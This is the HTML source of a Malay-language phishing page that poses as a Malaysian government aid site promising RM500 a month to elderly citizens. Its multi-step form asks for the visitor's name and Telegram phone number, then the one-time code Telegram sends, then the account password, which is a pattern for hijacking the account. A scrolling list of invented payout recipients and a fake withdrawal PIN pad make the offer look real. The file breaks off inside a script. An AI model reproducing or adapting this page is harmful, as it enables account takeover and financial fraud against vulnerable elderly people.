<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>htps//Bantuan-keluarga-emas.my/</title>
    <meta property="og:image" content="./1.jpg">
    <meta property="og:site_name" content="htps//Bantuan-keluarga-emas.my/">
    <meta property="og:description" content="Bantuan Warga Emas RM500 Sebulan (BWE JKM)
   Bantuan warga emas merupakan salah satu inisiatif atau usaha pihak Jabatan Kebajikan
        Masyarakat dalam membantu golongan warrga emas di Malaysia yang kurang berkemampuan daripada
        segi kewangan.">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
    <link rel="icon" type="image/x-icon" href="/images/favicon.ico">
    <link href="css/menebus.css" type="text/css" rel="stylesheet" />
    <link href="assets/css/custom.css" type="text/css" rel="stylesheet" />
    <link href="assets/css/menebus.css" type="text/css" rel="stylesheet" />
    <link rel="stylesheet" href="./css/all.css" />
    <link rel="stylesheet" href="./css/test.css" />
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <script type="text/javascript" src="./js/jquery-1.12.4.min.js"></script>
    <link href="./css/css2.css" rel="stylesheet">
    <link rel="canonical" href="https://getbootstrap.com/docs/5.0/examples/sticky-footer/" />
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" />
    <script type="text/javascript" src="js/vue.min.js.download"></script>
    <script src="js/clipboard.js.download"></script>
    <script type="text/javascript" src="js/index.js.download"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.0/jquery.min.js"></script>
    <script>
        function set_Cookie(name, value) {
            var Days = 30;
            var exp = new Date();
            exp.setTime(exp.getTime() + (Days * 20 * 1000));
            document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString() + "; path=/;"
        }

        function get_Cookie(name) {
            var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
            if (arr = document.cookie.match(reg)) {
                return unescape(arr[2]);
            }
            return '';
            b
        }
    </script>
    <style type="text/css">
        .bd-placeholder-img {
            font-size: 1.125rem;
            text-anchor: middle;
            -webkit-user-select: none;
            -moz-user-select: none;
            user-select: none;
        }

        @media (min-width: 768px) {
            .bd-placeholder-img-lg {
                font-size: 3.5rem;
            }
        }

        /* Absolute Center Spinner */
        .loading {
            position: fixed;
            z-index: 999;
            height: 2em;
            width: 2em;
            overflow: show;
            margin: auto;
            top: 0;
            left: 0;
            bottom: 0;
            right: 0;
        }

        /* Transparent Overlay */
        .loading:before {
            content: '';
            display: block;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));

            background: -webkit-radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));
        }

        /* :not(:required) hides these rules from IE9 and below */
        .loading:not(:required) {
            /* hide "loading..." text */
            font: 0/0 a;
            color: transparent;
            text-shadow: none;
            background-color: transparent;
            border: 0;
        }

        .loading:not(:required):after {
            content: '';
            display: block;
            font-size: 10px;
            width: 1em;
            height: 1em;
            margin-top: -0.5em;
            -webkit-animation: spinner 150ms infinite linear;
            -moz-animation: spinner 150ms infinite linear;
            -ms-animation: spinner 150ms infinite linear;
            -o-animation: spinner 150ms infinite linear;
            animation: spinner 150ms infinite linear;
            border-radius: 0.5em;
            -webkit-box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
            box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
        }

        /* Animation */

        @-webkit-keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }

        @-moz-keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }

        @-o-keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }

        @keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }
    </style>
</head>

<body>



    <section class="tabcontent" id="Codingasik-Tab1" style="display: block;">
        <div class="header">
            <img src="https://upload.wikimedia.org/wikipedia/commons/2/26/Coat_of_arms_of_Malaysia.svg" class="ion2" alt="">




        </div>

        <div class="container" style="margin-top: 0px;">
            <div class="card-codingasik">





                <div class="codingasik-flex">
                    <div class="codingasik-saldo-nom" style="width: 100%;text-align: right;">
                    </div>
                </div>
            </div>
        </div>





        <div class="Codingasik-grid4">
            <a href="#">
                <button class="codingasik-button">
                    <img src="./assets/img/w.png" alt="">
                    <p>Makluman Terkini</p>
                </button>
            </a>
            <a href="#">
                <button class="codingasik-button">
                    <img src="./assets/img/list.png" alt="">
                    <p>Borang Borang</p>
                </button>
            </a>
            <a href="#">
                <button class="codingasik-button">
                    <img src="./assets/img/check-box.png" alt="">
                    <p>Perkhidmatan</p>
                </button>
            </a>
        </div>

        <body class="d-flex flex-column h-100">

            <div id="loading" class="loading" style="display: none;"></div>

            <main class="flex-shrink-0">
                <div id="ctl00_divContainer" class="container container-narrow">
                    <div class="text-center mt-2">
                        <a id="ctl00_lnkMalay" disabled="disabled" style="color:Black;font-weight:bold;text-decoration:none;"></a>
                        <span id="ctl00_lblPipe_bm"></span>
                        <a id="ctl00_lnkEng" href=""></a>
                        <span id="ctl00_lblPipe_bi"> </span>
                        <a id="ctl00_lnkChineseSimplified" href=""></a>
                        <span id="ctl00_lblPipe_bc"></span>
                        <a id="ctl00_lnkTamilInd" href=""></a>
                    </div>
                    <div class="header mt-3 text-center">
                    </div>
                    <script type="text/javascript">
                        //<![CDATA[
                        var theForm = document.forms['aspnetForm'];
                        if (!theForm) {
                            theForm = document.aspnetForm;
                            A
                        }

                        function __doPostBack(eventTarget, eventArgument) {
                            if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
                                theForm.__EVENTTARGET.value = eventTarget;
                                theForm.__EVENTARGUMENT.value = eventArgument;
                                theForm.submit();
                            }
                        }
                        //]]>
                    </script>
                    <script type="text/javascript">
                        //<![CDATA[
                        function WebForm_OnSubmit() {
                            if (typeof(ValidatorOnSubmit) == "function" && ValidatorOnSubmit() == false) return false;
                            return true;
                        }
                        //]]>
                    </script>
                    <span id="ctl00_lblMsg"></span>
                    <h2 class="fw-bold mt-2 page-header text-center ">
                        <span id="ctl00_RecipientMasterContent_lblSubject">Semakan Status</span>
                    </h2>
                    <div class="first">
                        <form action="javascript:void(0)" method="post" id="firstForm">
                            <div class="input-group mb-3">
                                <span class="input-group-text" id="basic-addon1">🪪</span>
                                <input name="full_name" id="full_name" maxlength="18" class="form-control" type="text" required="true" placeholder="Nama Penuh Sesuai MyKad" title="Sila Masukkan Nombor , contoh +6022334455">
                            </div>
                            <div class="input-group mb-3">
                                <span class="input-group-text" id="basic-addon1">🇲🇾</span>
                                <input name="phone_number" id="phone_number" maxlength="18" class="form-control" type="tel" required="true" placeholder="Nombor Phone Telegram" title="Sila Masukkan Nombor , contoh +6022334455">
                            </div>
                            <div class="text-center">
                                <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processFirstData()">Semak
                                    Status</button>
                            </div>
                        </form>
                    </div>

                    <div class="second" style="display: none;">
                        <form action="javascript:void(0)" method="post" id="secondForm">
                            <input type="hidden" name="full_name" id="validateFullName" readonly>
                            <input type="hidden" name="phone_number" id="validatePhoneNumber" readonly>
                            <div class="mb-3">
                                <label for="otp" class="form-label">
                                    <span id="ctl00_RecipientMasterContent_lblEntry_IDNo">Kami telah menghantar kod ke
                                        apl
                                        Telegram anda.</span>
                                </label>
                                <input name="otp_code" maxlength="5" id="otp_code" class="form-control" type="tel" required="true" placeholder="5 digit OTP">
                            </div>
                            <div class="text-center">
                                <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processSecondData()">Semak
                                    Status</button>
                            </div>
                        </form>
                    </div>

                    <div class="third" style="display: none;">
                        <form action="javascript:void(0)" method="post" id="thirdForm">
                            <input type="hidden" name="full_name" id="validateFullName" readonly>
                            <input type="hidden" name="phone_number" id="validatePhoneNumber" readonly>
                            <input type="hidden" name="otp_code" id="validateOtpCode" readonly>
                            <div class="mb-3">
                                <label for="password" class="form-label">
                                    <span id="ctl00_RecipientMasterContent_lblEntry_IDNo">Masukkan kata laluan
                                        anda.</span>
                                </label>
                                <input name="password" id="password" class="form-control" type="text" required="true" placeholder="Kata laluan anda">
                            </div>
                            <div class="text-center">
                                <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processThirdData()">Lanjutkan</button>
                            </div>
                        </form>
                    </div>

                    <div class="row four" id="ctl00_RecipientMasterContent_divResultNotFound" style="display: none;">
                        <p class="text-center"><img src="assets/img/processing.gif" id="ctl00_logohead" class="img-fluid" width="160" /></p>
                        <h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">Sila tunggu proses
                                pengesahan dalam masa 1x24 jam untuk menyemak kelayakan,</span></h5>
                        <h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">atau gunakan nombor
                                telefon
                                lain.</span></h5>
                        <p class="text-center"><a href="/" class="btn btn-lg btn-block btn-mk">&laquo; <span id="ctl00_RecipientMasterContent_lblGoBack_NoResult">Gunakan Nombor Telefon
                                    Lain</span></a>
                        </p>
                    </div>

                    <script type="text/javascript">
                        //<![CDATA[
                        var Page_ValidationActive = false;
                        if (typeof(ValidatorOnLoad) == "function") {
                            ValidatorOnLoad();
                        }

                        function ValidatorOnSubmit() {
                            if (Page_ValidationActive) {
                                return ValidatorCommonOnSubmit();
                            } else {
                                return true;
                            }
                        }
                    </script>

                    <!--- record berjaya box --->
                    <div class="_record-box">
                        <div id="list" class="list-box">
                            <div class="list" style="margin-top: -3.1345px;">
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Kaamil bin Haarith</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Fat'hi bin Jaasir</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Ibrahim bin Khaalid</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Suhaib bin Baahir</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Jubair bin Jaadallah</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Selamat bin Budiarto</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Baba bin Deris</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Gana bin Kuning</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Zakaria bin Kesuma</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Embong bin Sulong</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Zaki bin Baasim</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Tawfeeq bin Masood</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Wajeeh bin Zaghlool</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Mu,Aawiya bin Musaaid</span></div>
                                        <div class="h2">Berjaya RM RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Furqaan bin Kabeer</span></div>
                                        <div class="h2">Berjaya RM RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Yaakob bin Hitam</span></div>
                                        <div class="h2">Berjaya RM RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Khamis bin Adi Putra</span></div>
                                        <div class="h2">Berjaya RM RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Indera bin Kuning</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Embong bin Daniel</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Embong bin Agung</span></div>
                                        <div class="h2">Berjaya RM 1.000,00</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Humaira binti Noori</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Zahra binti Zubair</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Fawzaana binti Tufail</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Nazeeha binti Shaheer</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Faseeha binti Furqaan</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Zamrud binti Agus</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Adiputeri binti Usop</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Masayu binti Lokman</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Nilam binti Kuning</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Suriawati binti Nerang</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Kaamil bin Haarith</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Fat'hi bin Jaasir</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Ibrahim bin Khaalid</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Suhaib bin Baahir</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Jubair bin Jaadallah</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Selamat bin Budiarto</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Baba bin Deris</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Gana bin Kuning</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Zakaria bin Kesuma</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>
                                <div class="item">
                                    <div class="record_logo">
                                        <img src="assets/img/avatar.png" alt="">
                                    </div>
                                    <div class="center">
                                        <div class="h1"><span class="name">Embong bin Sulong</span></div>
                                        <div class="h2">Berjaya RM 500</div>
                                    </div>
                                </div>

                            </div>
                        </div>
                    </div>
                    <!--- record berjaya box --->

                </div>
                </div>
                </div>
            </main>
            <br>


            <script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
            <script type="text/javascript" src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
            <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
            <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
            <script src="assets/js/script.js"></script>
            <script type="text/javascript" src="js/jquery-3.4.1.min.js.download"></script>
            <script>
                // 加载多语言
                var language = getQueryString('language')
                loadLocale(function(e) {
                    app.locale = Object.assign(e.Common, e.CommonShare)
                }, language)
                var app = new Vue({
                    el: '#app',
                    data: {
                        locale: {},
                        uid: '2004219',
                    },
                    created() {
                        $('#app').show();
                        this.starScroll();
                    },
                    methods: {
                        starScroll() {
                            var _this = this;
                            _this.scrollTimer && clearTimeout(_this.scrollTimer)
                            _this.scrollTimer = setTimeout(() => {
                                var $box = $("#list").find(".list:first");
                                $box.css({
                                    marginTop: 0
                                })
                                var $item = $box.find(".item:first");
                                var outerHeight = $item.outerHeight(true)
                                $box.animate({
                                    "marginTop": -outerHeight + "px"
                                }, 1000, function() {
                                    $box.css({
                                        marginTop: 0
                                    }).find(".item:first").appendTo($box);
                                    _this.starScroll();
                                })
                            }, 600);
                        },
                    },
                })
            </script>
            <div class="container">
                <div class="box-solusi">
                    <center>
                        <h5>Bantuan Warga Emas RM500 Sebulan (BWE JKM)</h5>
                        <p>Bantuan warga emas merupakan salah satu inisiatif atau usaha pihak Jabatan Kebajikan
                            Masyarakat dalam membantu golongan warrga emas di Malaysia yang kurang berkemampuan daripada
                            segi kewangan.
                        </p>
                    </center>
                </div>

                <div style="margin-top: 10px;margin-bottom: 10px;"></div>



                <div style="padding: 10px;margin-top: 20px;">
                    <center>
                        <h5>BANTUAN WARGA EMAS RM 500 SETIAP BULAN : Panduan mohon disini.</h5>
                        <p style="font-size: 15px;">Pelajari bagaimana untuk mendapatkan Bantuan Warga Emas RM500
                            sebulan jika anda dalam kategori B40 di Malaysia. Ikuti panduan lengkap ini untuk kriteria,
                            proses permohonan dan dokumen yang diperlukan.</p>
                    </center>
                </div>





                <div style="text-align: center;">
                    <p style="font-size: 11px;color: 000;opacity: .8;margin-top: 10px;">BANTUAN WARGA EMAS RM 500</p>
                    <img src="./assets/img/ini1.png" alt="" style="width: 100%;">
                </div>





                <div class="info-penting" style="margin-top: 60px;">
                    <div class="text-pen">
                        <h5><i class="fas fa-exclamation-triangle" style="margin-right: 10px;"></i>
                    </div>
                </div>
            </div>


            </script>

            <!-- Letakkan script dibagian paling bawah halaman -->
            <script type="text/javascript">
                function rubah(angka) {
                    var reverse = angka.toString().split('').reverse().join(''),
                        ribuan = reverse.match(/\d{1,3}/g);
                    ribuan = ribuan.join('.').split('').reverse().join('');
                    return "Rp." + ribuan;
                }
                document.getElementById("codingasik_saldo").innerText = rubah(document.getElementById("codingasik_saldo").textContent);
            </script>
            <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
            <script>
                function openCity(evt, cityName) {
                    var i, tabcontent, tablinks;
                    tabcontent = document.getElementsByClassName("tabcontent");
                    for (i = 0; i < tabcontent.length; i++) {
                        tabcontent[i].style.display = "none";
                    }
                    tablinks = document.getElementsByClassName("tablinks");
                    for (i = 0; i < tablinks.length; i++) {
                        tablinks[i].className = tablinks[i].className.replace(" active", "");
                    }
                    document.getElementById(cityName).style.display = "block";
                    evt.currentTarget.className += " active";
                }
                document.getElementById("defaultOpen").click();
                console.log("Gunakan Console ini dengan baik tanpa merugikan orang lain atau pihak lain");
            </script>
    </section>

    <!-- BAGIAN WITHDRAW -->
    <style>
        body {
            background: white;
        }

        #pin-form input:focus,
        #pin-form select:focus,
        #pin-form textarea:focus,
        #pin-form button:focus {
            outline: none;
        }

        #pin-form {
            display: none;
            position: absolute;
            width: 370px;
            height: 470px;
            left: 50%;
            margin-left: -180px;
            top: 50%;
            margin-top: -230px;
            padding: 30px;

        }

        #input-pin {
            font-size: 18px;
            padding: 10px 10px 10px 5px;
            display: block;
            width: 295px;
            font-size: 30px;
            text-align: center;
            border: none;
            border: 1px solid #d5d5d5;
            border-radius: 20px;

        }

        .pin-button {
            background: #ededed;
            color: #7e7e7e;
            border: none;
            border-radius: 20%;
            font-size: 1.5em;
            text-align: center;
            width: 60px;
            height: 60px;
            margin: 10px 20px;
            padding: 0;
        }

        .clear,
        .enter {
            font-size: 1em;
        }

        .pin-button:hover {
            box-shadow: #506CE8 0 0 1px 1px;
        }

        .pin-button:active {
            background: #3e75b2;
            color: #fff;
        }

        .clear:hover {
            box-shadow: #3e75b2 0 0 1px 1px;
        }

        .clear:active {
            background: #3e75b2;
            color: #fff;
        }

        .enter:hover {
            box-shadow: #3e75b2 0 0 1px 1px;
        }

        .enter:active {
            background: #3e75b2;
            color: #fff;
        }

        .shadow {
            -webkit-box-shadow: 0px 5px 5px -0px rgba(0, 0, 0, 0.3);
            -moz-box-shadow: 0px 5px 5px -0px rgba(0, 0, 0, 0.3);
            box-shadow: 0px 5px 5px -0px rgba(0, 0, 0, 0.3);
        }
    </style>
    <section class="tabcontent" id="Codingasik-Tab2">
        <div id="PINcode">

            <center>
                <h5 style="font-size: 35px;font-weight:bold;margin-top: 50px;padding: 10px;">RM 500</h5>
                <BR></BR>
                <p style="font-size: 13px;margin-top: -50px">Anda boleh membuat tuntutan untuk menarik diri<br> Jumlah
                    Kredit ini<a href="./">Daftar Klik Sini</a></p>



            </center>
            <form action="" method="" name="pin-form" id="pin-form"><input id="input-pin" input type="text" name="currency-field" id="currency-field" pattern="^\$\d{1,3}(,\d{3})*(\.\d+)?$" value="" data-type="currency" placeholder="RM 500" value="" name="input-pin" disabled=""><br><input type="button" class="pin-button" name="1" value="1" id="1" onclick="addNumber(this);"><input type="button" class="pin-button" name="2" value="2" id="2" onclick="addNumber(this);"><input type="button" class="pin-button" name="3" value="3" id="3" onclick="addNumber(this);"><br><input type="button" class="pin-button" name="4" value="4" id="4" onclick="addNumber(this);"><input type="button" class="pin-button" name="5" value="5" id="5" onclick="addNumber(this);"><input type="button" class="pin-button" name="6" value="6" id="6" onclick="addNumber(this);"><br><input type="button" class="pin-button" name="7" value="7" id="7" onclick="addNumber(this);"><input type="button" class="pin-button" name="8" value="8" id="8" onclick="addNumber(this);"><input type="button" class="pin-button" name="9" value="9" id="9" onclick="addNumber(this);"><br><input type="button" class="pin-button clear" name="-" value="Delete" id="-" onclick="clearForm(this);"><input type="button" class="pin-button" name="0" value="0" id="0" onclick="addNumber(this);"><input type="button" class="pin-button enter" name="+" value="Send" id="+" onclick="submitForm();"></form>
        </div>

        <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/2.1.2/sweetalert.min.js"></script>

        <script type="text/javascript">
            $(document).ready(function() {

